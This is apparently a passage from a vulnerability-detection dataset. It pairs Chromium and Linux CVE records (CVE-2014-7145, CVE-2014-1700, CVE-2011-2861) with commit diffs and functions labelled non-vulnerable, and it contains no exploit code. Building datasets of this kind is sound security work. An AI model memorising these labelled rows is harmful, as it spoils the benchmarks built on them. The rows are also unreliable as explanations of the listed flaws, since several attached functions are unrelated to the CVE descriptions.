- if (timedOut) {
+ if (m_timedOut) {
FAIL() << "Test timed out";
return;
}
afterTest();
}
- static void testTimeout(void* self)
- {
- CCLayerTreeHostTest* test = static_cast<CCLayerTreeHostTest*>(self);
- if (!test->m_running)
- return;
- test->m_timedOut = true;
- test->endTest();
- }
-
CCSettings m_settings;
OwnPtr<MockLayerTreeHostClient> m_client;
RefPtr<CCLayerTreeHost> m_layerTreeHost;
private:
bool m_beginning;
bool m_endWhenBeginReturns;
- bool m_running;
bool m_timedOut;
OwnPtr<WebThread> m_webThread;
+ RefPtr<CCScopedMainThreadProxy> m_mainThreadProxy;
+ TimeoutTask* m_timeoutTask;
};
void CCLayerTreeHostTest::doBeginTest()
{
ASSERT(isMainThread());
- ASSERT(!m_running);
- m_running = true;
m_client = MockLayerTreeHostClient::create(this);
RefPtr<LayerChromium> rootLayer = LayerChromium::create(0);
@@ -318,7 +349,7 @@ void CCLayerTreeHostTest::endTest()
{
// If we are called from the CCThread, re-call endTest on the main thread.
if (!isMainThread())
- CCMainThread::postTask(createMainThreadTask(this, &CCLayerTreeHostTest::endTest));
+ m_mainThreadProxy->postTask(createMainThreadTask(this, &CCLayerTreeHostTest::endTest));
else {
// For the case where we endTest during beginTest(), set a flag to indicate that
// the test should end the second beginTest regains control.
@@ -331,10 +362,9 @@ void CCLayerTreeHostTest::endTest()
class CCLayerTreeHostTestThreadOnly : public CCLayerTreeHostTest {
public:
- virtual void runTest()
+ void runTest()
{
- if (m_settings.enableCompositorThread)
- CCLayerTreeHostTest::runTest();
+ CCLayerTreeHostTest::runTest(true);
}
};
@@ -352,10 +382,18 @@ class CCLayerTreeHostTestShortlived1 : public CCLayerTreeHostTest {
{
}
};
-TEST_F(CCLayerTreeHostTestShortlived1, run)
-{
- runTest();
-}
+
+#define SINGLE_AND_MULTI_THREAD_TEST_F(TEST_FIXTURE_NAME) \
+ TEST_F(TEST_FIXTURE_NAME, runSingleThread) \
+ { \
+ runTest(false); \
+ } \
+ TEST_F(TEST_FIXTURE_NAME, runMultiThread) \
+ { \
+ runTest(true); \
+ }
+
+SINGLE_AND_MULTI_THREAD_TEST_F(CCLayerTreeHostTestShortlived1)
// Shortlived layerTreeHosts shouldn't die with a commit in flight.
class CCLayerTreeHostTestShortlived2 : public CCLayerTreeHostTest {
@@ -372,10 +410,8 @@ class CCLayerTreeHostTestShortlived2 : public CCLayerTreeHostTest {
{
}
};
-TEST_F(CCLayerTreeHostTestShortlived2, run)
-{
- runTest();
-}
+
+SINGLE_AND_MULTI_THREAD_TEST_F(CCLayerTreeHostTestShortlived2)
// Shortlived layerTreeHosts shouldn't die with a redraw in flight.
class CCLayerTreeHostTestShortlived3 : public CCLayerTreeHostTest {
@@ -392,10 +428,8 @@ class CCLayerTreeHostTestShortlived3 : public CCLayerTreeHostTest {
{
}
};
-TEST_F(CCLayerTreeHostTestShortlived3, run)
-{
- runTest();
-}
+
+SINGLE_AND_MULTI_THREAD_TEST_F(CCLayerTreeHostTestShortlived3)
// Constantly redrawing layerTreeHosts shouldn't die when they commit
class CCLayerTreeHostTestCommitingWithContinuousRedraw : public CCLayerTreeHostTest {
@@ -435,14 +469,12 @@ class CCLayerTreeHostTestCommitingWithContinuousRedraw : public CCLayerTreeHostT
int m_numCompleteCommits;
int m_numDraws;
};
-TEST_F(CCLayerTreeHostTestCommitingWithContinuousRedraw, run)
-{
- runTest();
-}
+
+SINGLE_AND_MULTI_THREAD_TEST_F(CCLayerTreeHostTestCommitingWithContinuousRedraw)
// Two setNeedsCommits in a row should lead to at least 1 commit and at least 1
// draw with frame 0.
-class CCLayerTreeHostTestSetNeedsCommit1 : public CCLayerTreeHostTest {
+class CCLayerTreeHostTestSetNeedsCommit1 : public CCLayerTreeHostTestThreadOnly {
public:
CCLayerTreeHostTestSetNeedsCommit1()
: m_numCommits(0)
@@ -478,14 +510,15 @@ class CCLayerTreeHostTestSetNeedsCommit1 : public CCLayerTreeHostTest {
int m_numCommits;
int m_numDraws;
};
-TEST_F(CCLayerTreeHostTestSetNeedsCommit1, run)
+
+TEST_F(CCLayerTreeHostTestSetNeedsCommit1, runMultiThread)
{
runTest();
}
// A setNeedsCommit should lead to 1 commit. Issuing a second commit after that
// first committed frame draws should lead to another commit.
-class CCLayerTreeHostTestSetNeedsCommit2 : public CCLayerTreeHostTest {
+class CCLayerTreeHostTestSetNeedsCommit2 : public CCLayerTreeHostTestThreadOnly {
public:
CCLayerTreeHostTestSetNeedsCommit2()
: m_numCommits(0)
@@ -521,14 +554,15 @@ class CCLayerTreeHostTestSetNeedsCommit2 : public CCLayerTreeHostTest {
int m_numCommits;
int m_numDraws;
};
-TEST_F(CCLayerTreeHostTestSetNeedsCommit2, run)
+
+TEST_F(CCLayerTreeHostTestSetNeedsCommit2, runMultiThread)
{
runTest();
}
// 1 setNeedsRedraw after the first commit has completed should lead to 1
// additional draw.
-class CCLayerTreeHostTestSetNeedsRedraw : public CCLayerTreeHostTest {
+class CCLayerTreeHostTestSetNeedsRedraw : public CCLayerTreeHostTestThreadOnly {
public:
CCLayerTreeHostTestSetNeedsRedraw()
: m_numCommits(0)
@@ -553,6 +587,7 @@ class CCLayerTreeHostTestSetNeedsRedraw : public CCLayerTreeHostTest {
virtual void commitCompleteOnCCThread(CCLayerTreeHostImpl*)
{
+ EXPECT_EQ(0, m_numDraws);
m_numCommits++;
}
@@ -566,9 +601,9 @@ class CCLayerTreeHostTestSetNeedsRedraw : public CCLayerTreeHostTest {
int m_numCommits;
int m_numDraws;
};
-TEST_F(CCLayerTreeHostTestSetNeedsRedraw, run)
+
+TEST_F(CCLayerTreeHostTestSetNeedsRedraw, runMultiThread)
{
- CCSettings setings;
runTest();
}
@@ -637,7 +672,8 @@ class CCLayerTreeHostTestScrollSimple : public CCLayerTreeHostTestThreadOnly {
IntSize m_scrollAmount;
int m_scrolls;
};
-TEST_F(CCLayerTreeHostTestScrollSimple, run)
+
+TEST_F(CCLayerTreeHostTestScrollSimple, runMultiThread)
{
runTest();
}
@@ -710,11 +746,11 @@ class CCLayerTreeHostTestScrollMultipleRedraw : public CCLayerTreeHostTestThread
IntSize m_scrollAmount;
int m_scrolls;
};
-TEST_F(CCLayerTreeHostTestScrollMultipleRedraw, run)
+
+TEST_F(CCLayerTreeHostTestScrollMultipleRedraw, runMultiThread)
{
runTest();
}
} // namespace
-#endif
|
Chrome
|
88c4913f11967abfd08a8b22b4423710322ac49b
|
a12059c05d115350633d6ca4275780eb37a98f68
| 0
|
virtual void commitComplete()
{
CCLayerTreeHostImpl::commitComplete();
m_testHooks->commitCompleteOnCCThread(this);
}
|
36,007
| null |
Remote
|
Not required
|
Complete
|
CVE-2014-7145
|
https://www.cvedetails.com/cve/CVE-2014-7145/
|
CWE-399
|
Low
| null | null | null |
2014-09-28
| 7.8
|
The SMB2_tcon function in fs/cifs/smb2pdu.c in the Linux kernel before 3.16.3 allows remote CIFS servers to cause a denial of service (NULL pointer dereference and client system crash) or possibly have unspecified other impact by deleting the IPC$ share during resolution of DFS referrals.
|
2016-08-24
|
DoS
| 0
|
https://github.com/torvalds/linux/commit/18f39e7be0121317550d03e267e3ebd4dbfbb3ce
|
18f39e7be0121317550d03e267e3ebd4dbfbb3ce
|
[CIFS] Possible null ptr deref in SMB2_tcon
As Raphael Geissert pointed out, tcon_error_exit can dereference tcon
and there is one path in which tcon can be null.
Signed-off-by: Steve French <smfrench@gmail.com>
CC: Stable <stable@vger.kernel.org> # v3.7+
Reported-by: Raphael Geissert <geissert@debian.org>
| 0
|
fs/cifs/smb2pdu.c
|
{"sha": "240c627bc0c6619a55423428eec4c7b941365acf", "filename": "fs/cifs/smb2pdu.c", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/torvalds/linux/blob/18f39e7be0121317550d03e267e3ebd4dbfbb3ce/fs/cifs/smb2pdu.c", "raw_url": "https://github.com/torvalds/linux/raw/18f39e7be0121317550d03e267e3ebd4dbfbb3ce/fs/cifs/smb2pdu.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/fs/cifs/smb2pdu.c?ref=18f39e7be0121317550d03e267e3ebd4dbfbb3ce", "patch": "@@ -907,7 +907,8 @@ SMB2_tcon(const unsigned int xid, struct cifs_ses *ses, const char *tree,\n tcon_error_exit:\n \tif (rsp->hdr.Status == STATUS_BAD_NETWORK_NAME) {\n \t\tcifs_dbg(VFS, \"BAD_NETWORK_NAME: %s\\n\", tree);\n-\t\ttcon->bad_network_name = true;\n+\t\tif (tcon)\n+\t\t\ttcon->bad_network_name = true;\n \t}\n \tgoto tcon_exit;\n }"}
|
smb2_echo_callback(struct mid_q_entry *mid)
{
struct TCP_Server_Info *server = mid->callback_data;
struct smb2_echo_rsp *smb2 = (struct smb2_echo_rsp *)mid->resp_buf;
unsigned int credits_received = 1;
if (mid->mid_state == MID_RESPONSE_RECEIVED)
credits_received = le16_to_cpu(smb2->hdr.CreditRequest);
DeleteMidQEntry(mid);
add_credits(server, credits_received, CIFS_ECHO_OP);
}
|
smb2_echo_callback(struct mid_q_entry *mid)
{
struct TCP_Server_Info *server = mid->callback_data;
struct smb2_echo_rsp *smb2 = (struct smb2_echo_rsp *)mid->resp_buf;
unsigned int credits_received = 1;
if (mid->mid_state == MID_RESPONSE_RECEIVED)
credits_received = le16_to_cpu(smb2->hdr.CreditRequest);
DeleteMidQEntry(mid);
add_credits(server, credits_received, CIFS_ECHO_OP);
}
|
C
| null | null | null |
@@ -907,7 +907,8 @@ SMB2_tcon(const unsigned int xid, struct cifs_ses *ses, const char *tree,
tcon_error_exit:
if (rsp->hdr.Status == STATUS_BAD_NETWORK_NAME) {
cifs_dbg(VFS, "BAD_NETWORK_NAME: %s\n", tree);
- tcon->bad_network_name = true;
+ if (tcon)
+ tcon->bad_network_name = true;
}
goto tcon_exit;
}
|
linux
|
18f39e7be0121317550d03e267e3ebd4dbfbb3ce
|
754789a1c046106cfdb067102642f73e0fd35fb3
| 0
|
smb2_echo_callback(struct mid_q_entry *mid)
{
struct TCP_Server_Info *server = mid->callback_data;
struct smb2_echo_rsp *smb2 = (struct smb2_echo_rsp *)mid->resp_buf;
unsigned int credits_received = 1;
if (mid->mid_state == MID_RESPONSE_RECEIVED)
credits_received = le16_to_cpu(smb2->hdr.CreditRequest);
DeleteMidQEntry(mid);
add_credits(server, credits_received, CIFS_ECHO_OP);
}
|
132,699
| null |
Remote
|
Not required
|
Partial
|
CVE-2014-1700
|
https://www.cvedetails.com/cve/CVE-2014-1700/
|
CWE-399
|
Low
|
Partial
|
Partial
| null |
2014-03-16
| 7.5
|
Use-after-free vulnerability in modules/speech/SpeechSynthesis.cpp in Blink, as used in Google Chrome before 33.0.1750.149, allows remote attackers to cause a denial of service or possibly have unspecified other impact by leveraging improper handling of a certain utterance data structure.
|
2017-01-06
|
DoS
| 0
|
https://github.com/chromium/chromium/commit/685c3980d31b5199924086b8c93a1ce751d24733
|
685c3980d31b5199924086b8c93a1ce751d24733
|
content: Rename webkit_test_helpers.{cc,h} to blink_test_helpers.{cc,h}
Now that webkit/ is gone, we are preparing ourselves for the merge of
third_party/WebKit into //blink.
BUG=None
BUG=content_shell && content_unittests
R=avi@chromium.org
Review URL: https://codereview.chromium.org/1118183003
Cr-Commit-Position: refs/heads/master@{#328202}
| 0
|
content/shell/renderer/layout_test/layout_test_content_renderer_client.cc
|
{"sha": "5a9805e6009278dfd2a1ad70452673ffee55947e", "filename": "content/DEPS", "status": "modified", "additions": 0, "deletions": 1, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/685c3980d31b5199924086b8c93a1ce751d24733/content/DEPS", "raw_url": "https://github.com/chromium/chromium/raw/685c3980d31b5199924086b8c93a1ce751d24733/content/DEPS", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/DEPS?ref=685c3980d31b5199924086b8c93a1ce751d24733", "patch": "@@ -113,7 +113,6 @@ include_rules = [\n \n \"+storage/browser\",\n \"+storage/common\",\n- \"+webkit\",\n \n # For generated JNI includes.\n \"+jni\","}<_**next**_>{"sha": "deb473fc529a5499802b0abedbbb59a0302ee135", "filename": "content/content_shell.gypi", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/685c3980d31b5199924086b8c93a1ce751d24733/content/content_shell.gypi", "raw_url": "https://github.com/chromium/chromium/raw/685c3980d31b5199924086b8c93a1ce751d24733/content/content_shell.gypi", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/content_shell.gypi?ref=685c3980d31b5199924086b8c93a1ce751d24733", "patch": "@@ -203,10 +203,10 @@\n 'shell/common/test_runner/test_preferences.h',\n 'shell/common/v8_breakpad_support_win.cc',\n 'shell/common/v8_breakpad_support_win.h',\n- 'shell/common/webkit_test_helpers.cc',\n- 'shell/common/webkit_test_helpers.h',\n 'shell/renderer/ipc_echo.cc',\n 'shell/renderer/ipc_echo.h',\n+ 'shell/renderer/layout_test/blink_test_helpers.cc',\n+ 'shell/renderer/layout_test/blink_test_helpers.h',\n 'shell/renderer/layout_test/blink_test_runner.cc',\n 'shell/renderer/layout_test/blink_test_runner.h',\n 'shell/renderer/layout_test/gc_controller.cc',"}<_**next**_>{"sha": "9f4e0a8db5e7b4b44bf34cce5efa9c18a990f945", "filename": "content/shell/BUILD.gn", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/BUILD.gn", "raw_url": "https://github.com/chromium/chromium/raw/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/BUILD.gn", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/shell/BUILD.gn?ref=685c3980d31b5199924086b8c93a1ce751d24733", "patch": "@@ -144,10 +144,10 @@ static_library(\"content_shell_lib\") {\n \"common/shell_test_configuration.h\",\n \"common/test_runner/test_preferences.cc\",\n \"common/test_runner/test_preferences.h\",\n- \"common/webkit_test_helpers.cc\",\n- \"common/webkit_test_helpers.h\",\n \"renderer/ipc_echo.cc\",\n \"renderer/ipc_echo.h\",\n+ \"renderer/layout_test/blink_test_helpers.cc\",\n+ \"renderer/layout_test/blink_test_helpers.h\",\n \"renderer/layout_test/blink_test_runner.cc\",\n \"renderer/layout_test/blink_test_runner.h\",\n \"renderer/layout_test/gc_controller.cc\","}<_**next**_>{"sha": "970e0eaeb2bc31e53f78197d84524c201133e468", "filename": "content/shell/browser/layout_test/layout_test_browser_main.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/browser/layout_test/layout_test_browser_main.cc", "raw_url": "https://github.com/chromium/chromium/raw/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/browser/layout_test/layout_test_browser_main.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/shell/browser/layout_test/layout_test_browser_main.cc?ref=685c3980d31b5199924086b8c93a1ce751d24733", "patch": "@@ -21,7 +21,7 @@\n #include \"content/shell/browser/shell.h\"\n #include \"content/shell/browser/webkit_test_controller.h\"\n #include \"content/shell/common/shell_switches.h\"\n-#include \"content/shell/common/webkit_test_helpers.h\"\n+#include \"content/shell/renderer/layout_test/blink_test_helpers.h\"\n #include \"net/base/filename_util.h\"\n \n #if defined(OS_ANDROID)"}<_**next**_>{"sha": "9039997d14930d7caf01b4d2b8ac00a6d5bb5731", "filename": "content/shell/browser/layout_test/layout_test_content_browser_client.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/browser/layout_test/layout_test_content_browser_client.cc", "raw_url": "https://github.com/chromium/chromium/raw/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/browser/layout_test/layout_test_content_browser_client.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/shell/browser/layout_test/layout_test_content_browser_client.cc?ref=685c3980d31b5199924086b8c93a1ce751d24733", "patch": "@@ -15,7 +15,7 @@\n #include \"content/shell/browser/layout_test/layout_test_notification_manager.h\"\n #include \"content/shell/browser/shell_browser_context.h\"\n #include \"content/shell/common/shell_messages.h\"\n-#include \"content/shell/common/webkit_test_helpers.h\"\n+#include \"content/shell/renderer/layout_test/blink_test_helpers.h\"\n \n namespace content {\n namespace {"}<_**next**_>{"sha": "57974fb80801c9a5eb6c3874602aa557a205ad89", "filename": "content/shell/browser/shell_content_browser_client.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/browser/shell_content_browser_client.cc", "raw_url": "https://github.com/chromium/chromium/raw/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/browser/shell_content_browser_client.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/shell/browser/shell_content_browser_client.cc?ref=685c3980d31b5199924086b8c93a1ce751d24733", "patch": "@@ -33,7 +33,7 @@\n #include \"content/shell/browser/webkit_test_controller.h\"\n #include \"content/shell/common/shell_messages.h\"\n #include \"content/shell/common/shell_switches.h\"\n-#include \"content/shell/common/webkit_test_helpers.h\"\n+#include \"content/shell/renderer/layout_test/blink_test_helpers.h\"\n #include \"gin/v8_initializer.h\"\n #include \"net/url_request/url_request_context_getter.h\"\n #include \"url/gurl.h\""}<_**next**_>{"sha": "1e31b911c3ac39b986f0086103d826b4353cf5da", "filename": "content/shell/browser/webkit_test_controller.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/browser/webkit_test_controller.cc", "raw_url": "https://github.com/chromium/chromium/raw/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/browser/webkit_test_controller.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/shell/browser/webkit_test_controller.cc?ref=685c3980d31b5199924086b8c93a1ce751d24733", "patch": "@@ -33,7 +33,7 @@\n #include \"content/shell/browser/shell_devtools_frontend.h\"\n #include \"content/shell/common/shell_messages.h\"\n #include \"content/shell/common/shell_switches.h\"\n-#include \"content/shell/common/webkit_test_helpers.h\"\n+#include \"content/shell/renderer/layout_test/blink_test_helpers.h\"\n #include \"ui/gfx/codec/png_codec.h\"\n \n namespace content {"}<_**next**_>{"sha": "804b1e506dccc862fd03d921643951c2465d11b0", "filename": "content/shell/renderer/layout_test/blink_test_helpers.cc", "status": "renamed", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/renderer/layout_test/blink_test_helpers.cc", "raw_url": "https://github.com/chromium/chromium/raw/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/renderer/layout_test/blink_test_helpers.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/shell/renderer/layout_test/blink_test_helpers.cc?ref=685c3980d31b5199924086b8c93a1ce751d24733", "patch": "@@ -2,7 +2,7 @@\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n-#include \"content/shell/common/webkit_test_helpers.h\"\n+#include \"content/shell/renderer/layout_test/blink_test_helpers.h\"\n \n #include \"base/command_line.h\"\n #include \"base/files/file_util.h\"", "previous_filename": "content/shell/common/webkit_test_helpers.cc"}<_**next**_>{"sha": "3350b926c9ab7883ea1bd6cb57def58f936c8ee1", "filename": "content/shell/renderer/layout_test/blink_test_helpers.h", "status": "renamed", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/renderer/layout_test/blink_test_helpers.h", "raw_url": "https://github.com/chromium/chromium/raw/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/renderer/layout_test/blink_test_helpers.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/shell/renderer/layout_test/blink_test_helpers.h?ref=685c3980d31b5199924086b8c93a1ce751d24733", "patch": "@@ -2,8 +2,8 @@\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n-#ifndef CONTENT_SHELL_COMMON_WEBKIT_TEST_HELPERS_H_\n-#define CONTENT_SHELL_COMMON_WEBKIT_TEST_HELPERS_H_\n+#ifndef CONTENT_SHELL_RENDERER_LAYOUT_TEST_BLINK_TEST_HELPERS_H_\n+#define CONTENT_SHELL_RENDERER_LAYOUT_TEST_BLINK_TEST_HELPERS_H_\n \n #include <string>\n #include <vector>\n@@ -34,4 +34,4 @@ std::vector<std::string> GetSideloadFontFiles();\n \n } // namespace content\n \n-#endif // CONTENT_SHELL_COMMON_WEBKIT_TEST_HELPERS_H_\n+#endif // CONTENT_SHELL_RENDERER_LAYOUT_TEST_BLINK_TEST_HELPERS_H_", "previous_filename": "content/shell/common/webkit_test_helpers.h"}<_**next**_>{"sha": "1881e2d4325dbdb4daf6d7261008cbedb8b8940e", "filename": "content/shell/renderer/layout_test/blink_test_runner.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/renderer/layout_test/blink_test_runner.cc", "raw_url": "https://github.com/chromium/chromium/raw/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/renderer/layout_test/blink_test_runner.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/shell/renderer/layout_test/blink_test_runner.cc?ref=685c3980d31b5199924086b8c93a1ce751d24733", "patch": "@@ -32,7 +32,7 @@\n #include \"content/shell/common/layout_test/layout_test_messages.h\"\n #include \"content/shell/common/shell_messages.h\"\n #include \"content/shell/common/shell_switches.h\"\n-#include \"content/shell/common/webkit_test_helpers.h\"\n+#include \"content/shell/renderer/layout_test/blink_test_helpers.h\"\n #include \"content/shell/renderer/layout_test/gc_controller.h\"\n #include \"content/shell/renderer/layout_test/layout_test_render_process_observer.h\"\n #include \"content/shell/renderer/layout_test/leak_detector.h\""}<_**next**_>{"sha": "ec8d4500f2dff986480959e7b9f1be56e20f8fa8", "filename": "content/shell/renderer/layout_test/layout_test_content_renderer_client.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/renderer/layout_test/layout_test_content_renderer_client.cc", "raw_url": "https://github.com/chromium/chromium/raw/685c3980d31b5199924086b8c93a1ce751d24733/content/shell/renderer/layout_test/layout_test_content_renderer_client.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/shell/renderer/layout_test/layout_test_content_renderer_client.cc?ref=685c3980d31b5199924086b8c93a1ce751d24733", "patch": "@@ -13,7 +13,7 @@\n #include \"content/public/renderer/render_view.h\"\n #include \"content/public/test/layouttest_support.h\"\n #include \"content/shell/common/shell_switches.h\"\n-#include \"content/shell/common/webkit_test_helpers.h\"\n+#include \"content/shell/renderer/layout_test/blink_test_helpers.h\"\n #include \"content/shell/renderer/layout_test/blink_test_runner.h\"\n #include \"content/shell/renderer/layout_test/layout_test_render_frame_observer.h\"\n #include \"content/shell/renderer/layout_test/layout_test_render_process_observer.h\""}
|
WebClipboard* LayoutTestContentRendererClient::OverrideWebClipboard() {
if (!clipboard_)
clipboard_.reset(new MockWebClipboardImpl);
return clipboard_.get();
}
|
WebClipboard* LayoutTestContentRendererClient::OverrideWebClipboard() {
if (!clipboard_)
clipboard_.reset(new MockWebClipboardImpl);
return clipboard_.get();
}
|
C
| null | null | null |
@@ -13,7 +13,7 @@
#include "content/public/renderer/render_view.h"
#include "content/public/test/layouttest_support.h"
#include "content/shell/common/shell_switches.h"
-#include "content/shell/common/webkit_test_helpers.h"
+#include "content/shell/renderer/layout_test/blink_test_helpers.h"
#include "content/shell/renderer/layout_test/blink_test_runner.h"
#include "content/shell/renderer/layout_test/layout_test_render_frame_observer.h"
#include "content/shell/renderer/layout_test/layout_test_render_process_observer.h"
|
Chrome
|
685c3980d31b5199924086b8c93a1ce751d24733
|
0fa5b759d2bbd5c074277e2a13e6a765da031af4
| 0
|
WebClipboard* LayoutTestContentRendererClient::OverrideWebClipboard() {
if (!clipboard_)
clipboard_.reset(new MockWebClipboardImpl);
return clipboard_.get();
}
|
103,668
| null |
Remote
|
Not required
|
Partial
|
CVE-2011-2861
|
https://www.cvedetails.com/cve/CVE-2011-2861/
|
CWE-20
|
Medium
|
Partial
|
Partial
| null |
2011-09-19
| 6.8
|
Google Chrome before 14.0.835.163 does not properly handle strings in PDF documents, which allows remote attackers to have an unspecified impact via a crafted document that triggers an incorrect read operation.
|
2017-09-18
| null | 0
|
https://github.com/chromium/chromium/commit/8262245d384be025f13e2a5b3a03b7e5c98374ce
|
8262245d384be025f13e2a5b3a03b7e5c98374ce
|
DevTools: move DevToolsAgent/Client into content.
BUG=84078
TEST=
Review URL: http://codereview.chromium.org/7461019
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@93596 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
content/browser/renderer_host/browser_render_process_host.cc
|
{"sha": "24059d48a3bcbe447efb7408f77415576f0c36a4", "filename": "chrome/browser/chrome_content_browser_client.cc", "status": "modified", "additions": 0, "deletions": 1, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/chrome/browser/chrome_content_browser_client.cc", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/chrome/browser/chrome_content_browser_client.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/chrome_content_browser_client.cc?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -351,7 +351,6 @@ void ChromeContentBrowserClient::AppendExtraCommandLineSwitches(\n switches::kProfilingAtStart,\n switches::kProfilingFile,\n switches::kProfilingFlush,\n- switches::kRemoteShellPort,\n switches::kSilentDumpOnDCHECK,\n };\n "}<_**next**_>{"sha": "4a98d54069325017a29a4b1cf9e03e5d66a17536", "filename": "chrome/chrome_renderer.gypi", "status": "modified", "additions": 0, "deletions": 6, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/chrome/chrome_renderer.gypi", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/chrome/chrome_renderer.gypi", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/chrome_renderer.gypi?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -105,12 +105,6 @@\n 'renderer/chrome_render_view_observer.h',\n 'renderer/content_settings_observer.cc',\n 'renderer/content_settings_observer.h',\n- 'renderer/devtools_agent.cc',\n- 'renderer/devtools_agent.h',\n- 'renderer/devtools_agent_filter.cc',\n- 'renderer/devtools_agent_filter.h',\n- 'renderer/devtools_client.cc',\n- 'renderer/devtools_client.h',\n 'renderer/external_host_bindings.cc',\n 'renderer/external_host_bindings.h',\n 'renderer/external_extension.cc',"}<_**next**_>{"sha": "e86db41c3e000620a991df2df27878edcac769a4", "filename": "chrome/common/chrome_switches.cc", "status": "modified", "additions": 0, "deletions": 3, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/chrome/common/chrome_switches.cc", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/chrome/common/chrome_switches.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/common/chrome_switches.cc?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -877,9 +877,6 @@ const char kReloadKilledTabs[] = \"reload-killed-tabs\";\n // Enable remote debug over HTTP on the specified port.\n const char kRemoteDebuggingPort[] = \"remote-debugging-port\";\n \n-// Enable remote debug / automation shell on the specified port.\n-const char kRemoteShellPort[] = \"remote-shell-port\";\n-\n // Indicates the last session should be restored on startup. This overrides\n // the preferences value and is primarily intended for testing. The value of\n // this switch is the number of tabs to wait until loaded before"}<_**next**_>{"sha": "3ef16d6c21feaf47dd978af130a3b353dc9cc954", "filename": "chrome/common/chrome_switches.h", "status": "modified", "additions": 0, "deletions": 1, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/chrome/common/chrome_switches.h", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/chrome/common/chrome_switches.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/common/chrome_switches.h?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -240,7 +240,6 @@ extern const char kProxyServer[];\n extern const char kPurgeMemoryButton[];\n extern const char kReloadKilledTabs[];\n extern const char kRemoteDebuggingPort[];\n-extern const char kRemoteShellPort[];\n extern const char kRestoreLastSession[];\n extern const char kRestrictInstantToSearch[];\n extern const char kSbInfoURLPrefix[];"}<_**next**_>{"sha": "770f6ae9b6698e2a3332354c8b9abb036af12173", "filename": "chrome/renderer/chrome_content_renderer_client.cc", "status": "modified", "additions": 0, "deletions": 4, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/chrome/renderer/chrome_content_renderer_client.cc", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/chrome/renderer/chrome_content_renderer_client.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/chrome_content_renderer_client.cc?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -33,8 +33,6 